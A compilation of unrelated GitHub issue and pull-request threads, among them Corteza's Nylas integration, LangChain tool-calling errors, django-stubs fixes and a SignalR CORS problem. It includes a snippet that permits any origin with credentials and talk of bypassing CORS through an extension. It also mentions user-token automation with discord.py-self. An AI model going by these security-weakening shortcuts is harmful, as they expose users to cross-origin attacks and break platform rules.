Support for Nylas page block

Email and calendar integration enables users to access their inboxes and calendars, compose and send emails and list contacts. This is not a generic integration - only Nylas is supported to save time on front-end implementation.
All Nylas components (Agenda, Composer, Contact List, Conversation, Email and Mailbox) are supported.
Authorisation and configuration
Corteza allows both types of supported authorisation - for single and for all accounts. The user configures components inside Nylas dashboard and copies component ID to Compose block configuration.
Corteza enables end-users to authorise themselves through OAuth2 mechanisms and store auth provider's (Nylas) credentials. These credentials can be later accessed by the user for the purpose of fulfilling Nylas components configuration.

[x] Allow users to use Nylas Auth API to retrieve access-token

❗[Todo: show configuration and authorisation flows]
Access tokens are stored as credentials-type resources with a well-known credentials kind. Only one Nylas access token per Corteza user is allowed for now (a soft limit needs to be implemented). The token is then used by all Nylas blocks
❗[Todo: mockup: how users are prompted with authentication flow to gain access tokens]
Page block for integrators
Corteza introduces a single page block type (IntegrationNylas) that serves as a container for all supported types of Nylas components. Because Nylas offers the HTML tag as a whole to copy, we need to support seamless processing and extraction of relevant values.

[ ] Introduce one new block type that can handle all 6 different types of Nylass components

(Nylas dashboard: showing example HTML with generated ID and access token placeholder)
❗ [Todo: mockup where the new block type should be]
❗ [Todo: mockup of how the block configuration should look like]
❗ [Todo: mockup of how the block preview, when placed on the grid, should look like]
Nylas dashboard can preconfigure certain properties and use those settings as a default. Corteza allows to explicitly override these settings.
❗ [Todo: table with all available settings for Nylas components available in Corteza]
Page block for end-users
Nylas page block can be rendered in one of four states:

[x] fully configured and working, outputting appropriate content (calendar, email, ...
[x] configured but missing access token, user can click and link it
[x] unconfigured but known component type

❗ [Todo: mockups for all four types]

I'm working on figuring out how it should be integrated with the existing (auth) services.
Will try to have it sorted and ready to go by Monday.

The back-end now supports users to authenticate Nylas to get their access tokens; https://github.com/cortezaproject/corteza/commit/0e9bb432ce23ba3d9a262442c3e2c393224c9281 https://github.com/cortezaproject/corteza/commit/9d52427d977faedc1cdf118b4ec10360b3e2ec20

OAuth is done through the standard auth component.
A new external provider was added with an additional usage field which identifies what all the providers should be used for

identity - for authentication (default if none specified)
api - for API integrations

Access tokens are stored in the credentials table identified by the access-{provider} handle
Access tokens can be obtained via the GET /system/users/{userID}/credentials endpoint

Changes to the external authentication flow
when the external provider authenticates the user

if the provider is used for identity, it is used to login/signup the user (login in case they already exist)
if the provider is used for API access, the access credentials are stored in the credentials table for later use.

Other important changes

changed credentials access control to allow users to manage their own credentials

To enable Nylas for usage

find your Nylas authentication params in the dashboard (the key and the secret)
go to the admin webapp > system settings; scroll to the bottom and click on the config button for Nylas
punch in the key/secret, tick the use for API checkbox
confirm/save it all

Invoke Nylas authentication via the GET /auth/external/nylas endpoint (for example localhost:1024/auth/external/nylas).

I just tested this and I am happy with the results. @tjerman & @Fajfa  now only the changelog part and we are done.

Added:
What was added:
A new page block on compose called Nylas, that can display Nylas components defined in the Nylas dashboard.
The Nylas external provider was also added to the list in the Admin panel under System setting.
If the external provider is configured the blocks will be usable in Compose.
The configurator requires the Nylas component kind you wish to display and its component ID
The user can then be authenticated/connected with Nylas by clicking the button on any of the Nylas components.
Why was it added:
To enable the integration with Nylas and support the use of its components inside Compose


AutoComplete: the class prop is not working when the option created by renderOption

TuSimple/naive-ui version (版本)
2.34.4
Vue version (Vue 版本)
3.3.4
Browser and its version (浏览器及其版本)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
System and its version (系统及其版本)
MacOS(13.4)
Node version (Node 版本)
19.7
Reappearance link (重现链接)
git@github.com:zhouweiming/naive-ui-demo.git
Reappearance steps (重现步骤)
git clone git@github.com:zhouweiming/naive-ui-demo.git
cd naive-ui-demo
npm install
npm run dev

open the web url in brower
input 1 or 2
Expected results (期望的结果)
background color of the menu option is red
Actual results (实际的结果)
background color of the menu option is transparent
Remarks (补充说明)

The repo is empty

The repo is empty

Sorry! The repository has just been uploaded.

去掉 scope 或者 :deep( *** )

当

去掉 scoped

I know removing scoped works, but scoped is required

Closed due to inactivity. Feel free to reopen if you're still having trouble


[Bitcoin] Derivation path and address type

A couple of questions from the community.

Has it been decided which derivation path the Hiro Wallet will use when Bitcoin support is added?
Which options are being considered, or what has the decision landed on?
What Bitcoin address format will be used?

Jason mentioned Xverse uses a wrapped segwit address and Algorithm.btc mentioned that he would like to see compatibility with the xverse wallet.
relevant Stacks forum discussion here: https://forum.stacks.org/t/rfc-standardizing-on-bitcoin-derivation-paths/13394

Here is a copy of Mark's answer to 3.

cc @fbwoolf @kyranjamie who can provide input on questions 1 and 2

The working assumptions are that:

We will use standard bitcoin derivation paths
We will use Native SegWit addresses bc...

These are not set in stone, but interoperability with another Stacks wallet shouldn't necessarily be our top priority imo (it'd also means less interoperability with btc wallets). Consider that the constraints faced by Xverse, when they opted to use Wrapped SegWit, are not necessarily the same as when we will make a decision


Addon .gts Components Cannot Use Modifiers: "...does not appear to be usable as a component/modifier/helper"

I get this type error from Glint when trying to use an ember-modifier in a .gts component in my addon:
The given value does not appear to be usable as a component, modifier or helper.
  No overload matches this call.
    Overload 1 of 3, '(item: DirectInvokable): AnyFunction', gave the following error.
      Argument of type 'FunctionBasedModifier<{ Args: { Positional: [string]; Named: EmptyObject; }; Element: Element; }>' is not assignable to parameter of type 'DirectInvokable'.
    Overload 2 of 3, '(item: (abstract new () => InvokableInstance) | null | undefined): (...args: any) => any', gave the following error.
      Argument of type 'FunctionBasedModifier<{ Args: { Positional: [string]; Named: EmptyObject; }; Element: Element; }>' is not assignable to parameter of type 'abstract new () => InvokableInstance'.
        Property '[Invoke]' is missing in type 'FunctionBasedModifierInstance<{ Args: { Positional: [string]; Named: EmptyObject; }; Element: Element; }>' but required in type 'InvokableInstance'.
    Overload 3 of 3, '(item: ((...params: any) => any) | null | undefined): (...params: any) => any', gave the following error.
      Argument of type 'FunctionBasedModifier<{ Args: { Positional: [string]; Named: EmptyObject; }; Element: Element; }>' is not assignable to parameter of type '(...params: any) => any'.
        Type 'FunctionBasedModifier<{ Args: { Positional: [string]; Named: EmptyObject; }; Element: Element; }>' provides no match for the signature '(...params: any): any'.glint(2769)

I have created a minimal reproduction here:
https://github.com/kdagnan/glint-gts-modifier-issue/blob/main/addon/src/components/broken-example.gts
I have also tried updating to<EMAIL_ADDRESS>and using built-in types instead of the DT types. I cannot for the life of me figure out the issue. I have a new app that is working fine, I cannot figure out the issue for this addon.

Looks like the repo wants node 16?
Node 18 is probably the oldest LTS that you could use -- npm v10 reports a ton of EBADENGINE errors with Node 16.
I had issues recovering, so I deleted the lockfile.
But then I see there are other dependency errors
npm error code ERESOLVE
npm error ERESOLVE unable to resolve dependency tree
npm error
npm error While resolving<EMAIL_ADDRESS>npm error Found<EMAIL_ADDRESS>npm error node_modules/@typescript-eslint/parser
npm error   dev<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm error   addon
npm error<EMAIL_ADDRESS>npm error     node_modules/blocks-components
npm error       workspace addon from the root project
npm error
npm error Could not resolve dependency:
npm error peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm error node_modules/@typescript-eslint/eslint-plugin
npm error   dev<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm error   addon
npm error<EMAIL_ADDRESS>npm error     node_modules/blocks-components
npm error       workspace addon from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error

Can you provide a minimal reproduction free from engines / dependency problems?
Thanks!

Additional things I noticed:
I noticed also that your root package.json doesn't have @glint/core or typescript. If you use VSCode, you'll need both of those packages in the root package.json.
So I tried with pnpm, and found that things work as expected:

Updated repo to address dependency issues and require Node 18.
You're right though, using pnpm i, it works as expected?? We're not ready to move to pnpm right now...any ideas what could be causing this ?

what npm version are you using?

I was able to get this resolved after a lot of trial and error in dependencies. Updating "@typescript-eslint/eslint-plugin",
"@typescript-eslint/parser", and "ember-eslint-parser" to latest versions worked.

Some tools that may be able to help in the future:

npx dep-hellp

a fork of npx are-my-node-modules-messed-up


Localtunnel server is down.

Hi,
I am not able to tunnel my local host. Seems like it's down today.

Same here!

I guess it's up now..

Its down again :( .

I replicated local tunnel on https://stunel.io give it a try guys. I also added extra feature that lets you request a subdomain with a predefined password so that whenever you request the same subdomain with the same password, the system will kill the previous client and grant access to the new request. This solved the persistent problem of a subdomain running in background but your client can't connect therefore denying your access to a subdomain that is not in use.

FYI, localtunnel should be back up and running! Thanks for your patience.


Get GeoTIFF GDALMetadata values

Is your feature request related to a problem? Please describe.
I need original GeoTIFF data values as I encoded population values into them. I can't figure out how to access internal Type Definitions for STATISTICS_MINIMUM and STATISTICS_MAXIMUM values to use them for manual normalization.
Describe the solution you'd like
STATISTICS_MINIMUM and STATISTICS_MAXIMUM are used in GeoTIFF module in case source min and max values are not set. So it would be enough to overwrite source min and max values to get access to them.

None of the example data seems to contain any significant metadata - would a getMetadata() method as patched in https://codesandbox.io/s/cog-stretch-forked-e2nsh1?file=/main.js work for you?

That works out perfectly with my data. I can use it just like that if you don't want to expose it in the library. Thanks!

The patch is referencing a private property of the source, so a patch would not work with minified code.  If it is useful the method could be added to the library.

Would be really great to add it to the library. Thanks a lot for your work!


LLM with_fallbacks function not work with create_tool_calling_agent

Checked other resources

[X] I added a very descriptive title to this issue.
[X] I searched the LangChain documentation with the integrated search.
[X] I used the GitHub search to find a similar question and didn't find it.
[X] I am sure that this is a bug in LangChain rather than my code.
[X] The bug is not resolved by updating to the latest stable version of LangChain (or the specific integration package).

Example Code
self.llm = self.llm.with_fallbacks(fallbackModels)
self.agent = create_tool_calling_agent(self.llm.llm, self.tools, self.promptTemplate.getAgentPrompt(self.tools))
Error Message and Stack Trace (if applicable)
self.agent = create_tool_calling_agent(self.llm.llm, self.tools, self.promptTemplate.getAgentPrompt(self.tools))
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

File "/usr/local/lib/python3.11/site-packages/langchain/agents/tool_calling_agent/base.py", line 85, in create_tool_calling_agent
raise ValueError(
ValueError: This function requires a .bind_tools method be implemented on the LLM.
Description
My code work well create_tool_calling_agent without call with_fallbacks function.
System Info
langchain==0.1.16
langchain-community==0.0.33
langchain-core==0.1.43
langchain-experimental==0.0.49
langchain-google-genai==1.0.1
langchain-openai==0.1.3
langchain-text-splitters==0.0.1
langchainhub==0.1.14
platform linux
python 3.11

Currently only some llms support the bind_tools method

This might be an issue with attributes being "hidden" by Runnable methods
from langchain_openai import ChatOpenAI
from langchain_groq import ChatGroq

model_1 = ChatOpenAI().with_fallbacks([ChatGroq()])
model_2 = ChatOpenAI()

print(hasattr(model_1, "bind_tools"))
print(hasattr(model_2, "bind_tools"))

with response
False
True

I think @eyurtsev mentioned this somewhere, but I can't find it now.

Could you please tell me any workaround method for this issue ?

I am having the same problem with the AzureChatOpenAI model.

Same Error ,tried workaround but it persists.
ValueError: This function requires a .bind_tools method be implemented on the LLM.

I believe this was fixed in https://github.com/langchain-ai/langchain/pull/22139, could you confirm if you still see this issue in lanchain-core>=0.2.2?

Tried with langchain core 0.2.40 , still persists

The issue on AzureChatOpenAI not implemented bind tools is still here with 0.2.35 version of langchain-core.

The issue on AzureChatOpenAI not implemented bind tools is still here with 0.2.35 version of langchain-core.

I fixed, by changing this from langchain_community.chat_models import AzureChatOpenAI to this from langchain_openai import AzureChatOpenAI

Issue still persisits with langgraph-core 0.3.15 still

Same issue with AzureMLChatOnlineEndpoint. Tried with langchain core 0.2.40 , still persists

ValueError: This function requires a .bind_tools method be implemented on the LLM.
with llm: HuggingFaceEndpoint (repo_id: mistralai/Mistral-7B-Instruct-v0.2)
langchain version: 0.3.7

Same issue with AzureMLChatOnlineEndpoint. Tried with langchain core 0.2.40 , still persists

Any workaround on this??


django-stubs: Fix miscellaneous typing errors.

This is mainly for minor changes to fix typing errors found with django-stubs.

Errors affected:
6c6
< Found 194 errors in 66 files (checked 1404 source files)
---
> Found 161 errors in 49 files (checked 1404 source files)
24,25d23
< zerver/actions/streams.py error Item "None" of "Optional[Recipient]" has no attribute "id"  [union-attr]
< zerver/actions/uploads.py error Incompatible types in assignment (expression has type "ArchivedAttachment", variable has type "Attachment")  [assignment]
55,57d52
< zerver/forms.py error Argument 1 of "to_python" is incompatible with supertype "Field"; supertype defines the argument type as "Optional[Any]"  [override]
< zerver/forms.py note See https//mypy.readthedocs.io/en/stable/common_issues.html#incompatible-overrides
< zerver/forms.py note This violates the Liskov substitution principle
60d54
< zerver/lib/email_notifications.py error Invalid index type "Tuple[int, int]" for "Dict[Tuple[int, str], List[Message]]"; expected type "Tuple[int, str]"  [index]
105d98
< zerver/lib/templates.py error "BaseEngine" has no attribute "env"  [attr-defined]
134d126
< zerver/management/commands/send_webhook_fixture_message.py error On Python 3 formatting "b'abc'" with "{}" produces "b'abc'", not "abc"; use "{!r}" if this is desired behavior  [str-bytes-safe]
141d132
< zerver/migrations/0081_make_emoji_lowercase.py error Self argument missing for a non-static method (or an invalid type for self)  [misc]
153d143
< zerver/models.py error Argument 1 to "add" of "set" has incompatible type "Optional[int]"; expected "int"  [arg-type]
161d150
< zerver/tests/test_audit_log.py error "validate_password" does not return a value  [func-returns-value]
164d152
< zerver/tests/test_auth_backends.py error Incompatible type for "referred_by" of "MultiuseInvite" (got "Optional[UserProfile]", expected "Union[UserProfile, Combinable]")  [misc]
166d153
< zerver/tests/test_auth_backends.py error Incompatible types in assignment (expression has type "Optional[str]", target has type "str")  [assignment]
169,171d155
< zerver/tests/test_auth_backends.py error "ABCMeta" has no attribute "name"  [attr-defined]
< zerver/tests/test_auth_backends.py error "ABCMeta" has no attribute "sort_order"  [attr-defined]
< zerver/tests/test_auth_backends.py error "UserProfile" has no attribute "backend"  [attr-defined]
175,178d158
< zerver/tests/test_decorators.py error Argument "user_profile" to "HostRequestMock" has incompatible type "AnonymousUser"; expected "Union[UserProfile, RemoteZulipServer, None]"  [arg-type]
< zerver/tests/test_docs.py error Unsupported operand types for + ("str" and "bytes")  [operator]
< zerver/tests/test_docs.py note Right operand is of type "Union[str, bytes]"
< zerver/tests/test_drafts.py error Argument 1 to "update" of "MutableMapping" has incompatible type "Dict[str, object]"; expected "SupportsKeysAndGetItem[str, int]"  [arg-type]
182,186d161
< zerver/tests/test_import_export.py error Incompatible return value type (got "Tuple[Set[str], Set[str], Set[FrozenSet[str]]]", expected "Tuple[Set[object], Set[object], Set[FrozenSet[str]]]")  [return-value]
< zerver/tests/test_import_export.py error Incompatible return value type (got "Set[int]", expected "Set[str]")  [return-value]
< zerver/tests/test_import_export.py error Incompatible return value type (got "Set[str]", expected "Set[object]")  [return-value]
< zerver/tests/test_import_export.py note Perhaps you need a type annotation for "usermessage_user"? Suggestion "Set[object]"
< zerver/tests/test_import_export.py error Incompatible return value type (got "Optional[Recipient]", expected "Recipient")  [return-value]
190,191d164
< zerver/tests/test_message_flags.py error "assertNotIn" of "TestCase" does not return a value  [func-returns-value]
< zerver/tests/test_message_flags.py error "assertEqual" of "TestCase" does not return a value  [func-returns-value]
193d165
< zerver/tests/test_realm_emoji.py error Left operand of "and" is always true  [redundant-expr]
202d173
< zerver/views/auth.py error Argument 2 to "update_login_page_context" has incompatible type "Optional[Dict[str, Any]]"; expected "Dict[str, Any]"  [arg-type]
207d177
< zerver/views/message_flags.py error Argument 2 to "do_mark_stream_messages_as_read" has incompatible type "Optional[int]"; expected "int"  [arg-type]
209d178
< zerver/views/report.py error Statement is unreachable  [unreachable]
212,213d180
< zerver/worker/queue_processors.py error Incompatible types in assignment (expression has type "BaseEmailBackend", variable has type "EmailBackend")  [assignment]
< zerver/worker/queue_processors.py error Incompatible types in assignment (expression has type "BaseEmailBackend", variable has type "EmailBackend")  [assignment]
225,227d191
< zproject/computed_settings.py error Return type "List[Union[bytes, str]]" of "get_dirs" incompatible with return type "List[Union[str, Path]]" in supertype "Loader"  [override]
< zproject/computed_settings.py error Item "str" of "Union[str, Path]" has no attribute "match"  [union-attr]
< zproject/computed_settings.py error List comprehension has incompatible type List[Union[str, Path]]; expected List[Union[bytes, str]]  [misc]
232d195
< zproject/urls.py error Member "url_object" has type "URLResolver" which does not implement __bool__ or __len__ so it could always be true in boolean context  [truthy-bool]

Self-review checklist

[x] Self-reviewed the changes for clarity and maintainability
(variable names, code reuse, readability, etc.).

Communicate decisions, questions, and potential concerns.

[x] Explains differences from previous plans (e.g., issue description).
[x] Highlights technical choices and bugs encountered.
[ ] Calls out remaining decisions and concerns.
[ ] Automated tests verify logic where appropriate.

Individual commits are ready for review (see commit discipline).

[ ] Each commit is a coherent idea.
[ ] Commit message(s) explain reasoning and motivation for changes.

Merged, huge thanks for fixing all these @PIG208!


Fix video orientation & thread racing

videos recorded with smartphone camera in portrait mode rotate the output at an angle (usually 90 degrees). FFMPEG interop does not take this into account.
Added bonus: fix for thread race between destructor and sample request.

Hi @mcosmin222, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!

In order for us to evaluate and accept your PR, we ask that you sign a contribution license agreement. It's all electronic and will take just minutes. I promise there's no faxing. https://cla.microsoft.com.

TTYL, MSBOT;

Hi, I am closing and re-opening this PR to bump the CLA bot. Sorry for the inconvenience!

Hi @mcosmin222, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
We will now validate the agreement and then real humans will evaluate your PR.
TTYL, MSBOT;

Thank you @mcosmin222,
I made a small change to not have to convert the rotation GUID but simply construct it directly.
It would be great to have a little test that validates that the orientation is properly read.

It works with any random video recorded with the camera in portrait mode.

You can find a video here
https://1drv.ms/v/s!Ao-WOwsImxSMs6Vxqb0vdLhTRMjlsA


We are being rate limited.

Summary
experiencing rate limitations and are unable to deliver messages.
Reproduction Steps
After doing the  "fix for fetching build number" I've encountered certain issues that irritate me, causing the application to stop or refuse to start messaging the preferred id, which used to work before it stopped operating due to a limitation.
Code
https://github.com/dolfies/discord.py-self/pull/598/commits/6360cc366f078dd03a1ca61f7eca9d7da5ea6c8e

Expected Results
It was supposed to run without the disord api interrupting my message, however it did not because of the limitation.
Actual Results
It stopped the messaging due to limition
System Information
m/a
Checklist

[X] I have searched the open issues for duplicates.
[X] I have shared the entire traceback.
[X] I am using a user token (and it isn't visible in the code).

Additional Information
n/a

Rate limits are not controlled by me and have nothing to do with build number retrieval.


Crash in 1.19.2

Game will crash when i right click the circuit with lever and redstone lamp.

Can you provide a crash log?

crash log: https://pastebin.com/bwEwkZGE

This is fixed starting from version 1.1.4, ehich is only for 1.19.3 upwards. Is it possible for you to update?

sadly, my modpack is 1.19.2 version. can you update the mod with 1.19.2?

Alright, i added integrated-circuit-1.1.1-crashfix.jar to 1.1.1 where this should be fixed


[table] metric ordering is wrong in some cases

I'm not sure why the condition was there in the first place, but it reordered the metrics which breaks ordering. The outcome should be the same now, it's denser and won't reorder the metrics

LGTM


OpenSimplex simplification

Rename simplex to open_simplex, and strip out the superfluous extra points, which greatly simplifies the code, and gives it about a 20% speed boost with no discernible difference to the output.

Great stuff!


Mirror files on sampo

Currently, files are only stored on the central cluster. As a result, it is not possible to run on clima. We should set up a weekly cronjob that mirrors the content of ClimaArtifacts on sampo and writes a new Overrides.

Installed https://github.com/CliMA/slurm-buildkite/pull/60 on the cluster with a weekly cronjob that runs on login3 at 3 AM on Sunday (as esmbuild)


JavaScript/Angular: Failed to complete negotiation with the server

Hello,
I'm trying to translate this back-end code using the signalr-client lib: https://github.com/Bittrex/beta/blob/master/samples/WebsocketSample.js to a code using yours and a browser.
Here is the code:
 this.connection = new HubConnectionBuilder()
  .configureLogging(LogLevel.Trace)
  .withUrl("wss://beta.bittrex.com/signalr")
  .build();

this.connection.on("send", data => {
  console.log(data);
});

this.connection.onclose(e => {
  console.log("Connection closed!", e);
});

console.log("Trying to connect to hub!");

this.connection
  .start()
  .then(() => {
    console.log("Connection started!");
    //this.connection.send('send', 'csad');
  })
  .catch(err => console.log("Error", err));

I get some errors:
Error: Failed to complete negotiation with the server: Error
Error: Failed to start the connection: Error
Error while establishing connection :( Object { __zone_symbol__error: Error, fileName: Getter & Setter, lineNumber: Getter & Setter, columnNumber: Getter & Setter, message: Getter & Setter, name: Getter & Setter, stack: Getter & Setter, originalStack: Getter & Setter, zoneAwareStack: Getter & Setter, toString: value(), … } app.component.ts:48:20
Do you have any idea?

I am also having a negotiation error.

Can you collect client and server logs, as well as network traces as specified in the Diagnostics Guide ?

Here are the logs
Archive 18-06-06 19-59-22.har.txt
client.txt

And I was also wondering if we could use the js client lib without angular?

Absolutely. The JS client has no dependency on other libraries (with the exception of MessagePack support which requires the msgpack5 library.
The logs are a bit empty. Did you set the client-side log level to Trace as indicated in the JavaScript Client logging section of the Diagnostics Guide. We can take a look at the HAR file, that looks good, but having the detailed logs would help.

I can't save them to a file but here is a screen
http://i.imgur.com/v6kQZTs.png
When i'm trying to use the library, I have this error: TypeError: signalR.HubConnectionBuilder is not a constructor even if I include

Ok, i can save logs on chrome and that's what I got:
client.log

Don't put "wss" as the url scheme. Put "https", SignalR will convert it if you use websockets

With https, I have another error message:
Failed to load https://beta.bittrex.com/signalr/negotiate?clientProtocol=1.5&_=1528315659304: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access.

Ok guys, here is the translation of the back-end code (https://github.com/Bittrex/beta/blob/master/samples/WebsocketSample.js) It only works with the firefox extension CORS Everywhere extension.
`
<script src='https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js'></script>
 <script src='https://cdnjs.cloudflare.com/ajax/libs/signalr.js/2.2.3/jquery.signalR.js'></script>
 <script src='pako.js'></script>

<script>

	var connection = $.hubConnection('https://beta.bittrex.com/signalr');
	var hubProxy = connection.createHubProxy('c2');
	hubProxy.on('uE', function(message) {
		// Decode base64 (convert ascii to binary)
		var strData = atob(message);
		// Convert binary string to character-number array
		var charData = strData.split('').map(function(x){return x.charCodeAt(0);});
		// Turn number array into byte-array
		var binData = new Uint8Array(charData);
		var data = pako.inflate(binData, { raw: true });
		// Convert gunzipped byteArray back to ascii string:
		var strData = String.fromCharCode.apply(null, new Uint16Array(data));
		// Output to console
		console.log(strData);
	});
	connection.start().done(function() {
		console.log('connection started!');
		hubProxy.invoke('SubscribeToExchangeDeltas', "BTC-LTC");
	});

</script>`

Is the issue resolved? Your post indicated that you need the "CORS Everywhere" extension in Firefox. That completely disables the Cross-Origin protections of the browser. What you should be doing is changing your server to enable CORS.
You should configure the CORS middleware on the server to make sure the appropriate CORS data is provided. As a quick solution you can use something like this in your Startup.cs file:
app.UseCors(builder => {
    builder.AllowAnyMethod()
        .AllowAnyOrigin()
        .AllowAnyHeader()
        .AllowCredentials();
});

Unfortunately, it is not my server, it's a crypto exchange (bittrex), but i'm going to try to modify the jquery.signalR.js file to add some headers ("Access-Control-Allow-Origin": "null", "access-control-allow-credentials": "true") to the request in order to get rid of the extension.

Wait, you're trying to convert a ASP.NET SignalR 2.X Client to a ASP.NET Core SignalR 1.0.0 Client which is communicating to a ASP.NET SignalR 2.X Server? That isn't supported. The server needs to also be ASP.NET Core SignalR 1.0.0, ASP.NET SignalR 2.X isn't compatible with ASP.NET Core SignalR 1.0.0

I don't know what they actually use at the back-end but now it is only a matter of CORS, the handshake cannot take place because some headers are missing for the initial request.

ASP.NET SignalR 2.X isn't compatible with ASP.NET Core SignalR 1.0.0

If your original code was working that means the server is using ASP.NET SignalR 2.X and your new code will not work

This code works like the original I was trying to translate to use it into a browser
good.html.txt

It looks like the "Bittrex" service you're connecting to uses ASP.NET SignalR to connect. This repo is for ASP.NET Core SignalR, which is a complete rewrite of the product and not compatible. Since the server is using ASP.NET SignalR, there's no need to convert to the code in this repository.
As to your CORS issue, that is something that can only be resolved on the server. I suggest you contact Bittrex for assistance. There is no way to disable this CORS protection in the JavaScript client.

Ok but if an extension is able to solve this problem, you are sure it's not possible to do something in javascript to solve this problem? The error is always: " header 'Access-Control-Allow-Origin'  is missing"

You are right about the CORS issue, nothing is possible in javascript for the client side except some web extensions. Thank you for the help.

To be 100% clear, the web extensions remove some of the security that browsers provide for you. So be careful when using them.


RuntimeError: Expected to mark a variable ready only once.

===================================BUG REPORT===================================
Welcome to bitsandbytes. For bug reports, please submit your error trace to: https://github.com/TimDettmers/bitsandbytes/issues
/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/bitsandbytes/cuda_setup/main.py:136: UserWarning: /data/candowu/miniconda3/envs/llama did not contain libcudart.so as expected! Searching further paths...
warn(msg)
CUDA SETUP: CUDA runtime path found: /usr/local/cuda-11.7/lib64/libcudart.so
CUDA SETUP: Highest compute capability among GPUs detected: 7.5
CUDA SETUP: Detected CUDA version 117
CUDA SETUP: Loading binary /data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/bitsandbytes/libbitsandbytes_cuda117.so...
Training Alpaca-LoRA model with params:
base_model: decapoda-research/llama-7b-hf
data_path: ./alpaca_data_cleaned_archive.json
output_dir: ./alpaca_data_cleaned_archive
batch_size: 128
micro_batch_size: 2
num_epochs: 1
learning_rate: 0.0003
cutoff_len: 512
val_set_size: 50
lora_r: 8
lora_alpha: 16
lora_dropout: 0.05
lora_target_modules: ['q_proj', 'v_proj']
train_on_inputs: False
group_by_length: False
wandb_project:
wandb_run_name:
wandb_watch:
wandb_log_model:
resume_from_checkpoint: False
prompt template: alpaca
0%|          | 0/403 [00:00<?, ?it/s]Traceback (most recent call last):
File "/data/candowu/alpaca-lora-main/finetune.py", line 276, in
fire.Fire(train)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/fire/core.py", line 141, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/fire/core.py", line 475, in _Fire
component, remaining_args = _CallAndUpdateTrace(
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/fire/core.py", line 691, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
File "/data/candowu/alpaca-lora-main/finetune.py", line 266, in train
trainer.train(resume_from_checkpoint=resume_from_checkpoint)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/transformers/trainer.py", line 1662, in train
return inner_training_loop(
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/transformers/trainer.py", line 1929, in _inner_training_loop
tr_loss_step = self.training_step(model, inputs)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/transformers/trainer.py", line 2709, in training_step
self.scaler.scale(loss).backward()
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/_tensor.py", line 487, in backward
torch.autograd.backward(
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/autograd/init.py", line 200, in backward
Variable._execution_engine.run_backward(  # Calls into the C++ engine to run the backward pass
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/autograd/function.py", line 274, in apply
return user_fn(self, *args)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/utils/checkpoint.py", line 157, in backward
torch.autograd.backward(outputs_with_grad, args_with_grad)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/autograd/init.py", line 200, in backward
Variable._execution_engine.run_backward(  # Calls into the C++ engine to run the backward pass
RuntimeError: Expected to mark a variable ready only once. This error is caused by one of the following reasons: 1) Use of a module parameter outside the forward function. Please make sure model parameters are not shared across multiple concurrent forward-backward passes. or try to use _set_static_graph() as a workaround if this module graph does not change during training loop.2) Reused parameters in multiple reentrant backward passes. For example, if you use multiple checkpoint functions to wrap the same part of your model, it would result in the same set of parameters been used by different reentrant backward passes multiple times, and hence marking a variable ready multiple times. DDP does not support such use cases in default. You can try to use _set_static_graph() as a workaround if your module graph does not change over iterations.
Parameter at index 127 has been marked as ready twice. This means that multiple autograd engine  hooks have fired for this particular parameter during this iteration. You can set the environment variable TORCH_DISTRIBUTED_DEBUG to either INFO or DETAIL to print parameter names for further debugging.
0%|          | 0/403 [01:39<?, ?it/s]
ERROR:torch.distributed.elastic.multiprocessing.api:failed (exitcode: 1) local_rank: 0 (pid: 127891) of binary: /data/candowu/miniconda3/envs/llama/bin/python
Traceback (most recent call last):
File "/data/candowu/miniconda3/envs/llama/bin/torchrun", line 8, in
sys.exit(main())
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/distributed/elastic/multiprocessing/errors/init.py", line 346, in wrapper
return f(*args, **kwargs)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/distributed/run.py", line 794, in main
run(args)
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/distributed/run.py", line 785, in run
elastic_launch(
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/distributed/launcher/api.py", line 134, in call
return launch_agent(self._config, self._entrypoint, list(args))
File "/data/candowu/miniconda3/envs/llama/lib/python3.9/site-packages/torch/distributed/launcher/api.py", line 250, in launch_agent
raise ChildFailedError(
torch.distributed.elastic.multiprocessing.errors.ChildFailedError:
finetune.py FAILED
Failures:
<NO_OTHER_FAILURES>
Root Cause (first observed failure):
[0]:
time      : 2023-04-09_20:26:15
host      : 172-21-0-150
rank      : 0 (local_rank: 0)
exitcode  : 1 (pid: 127891)
error_file: <N/A>
traceback : To enable traceback see: https://pytorch.org/docs/stable/elastic/errors.html
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 515.43.04    Driver Version: 515.43.04    CUDA Version: 11.7     |
|-------------------------------+----------------------+----------------------+
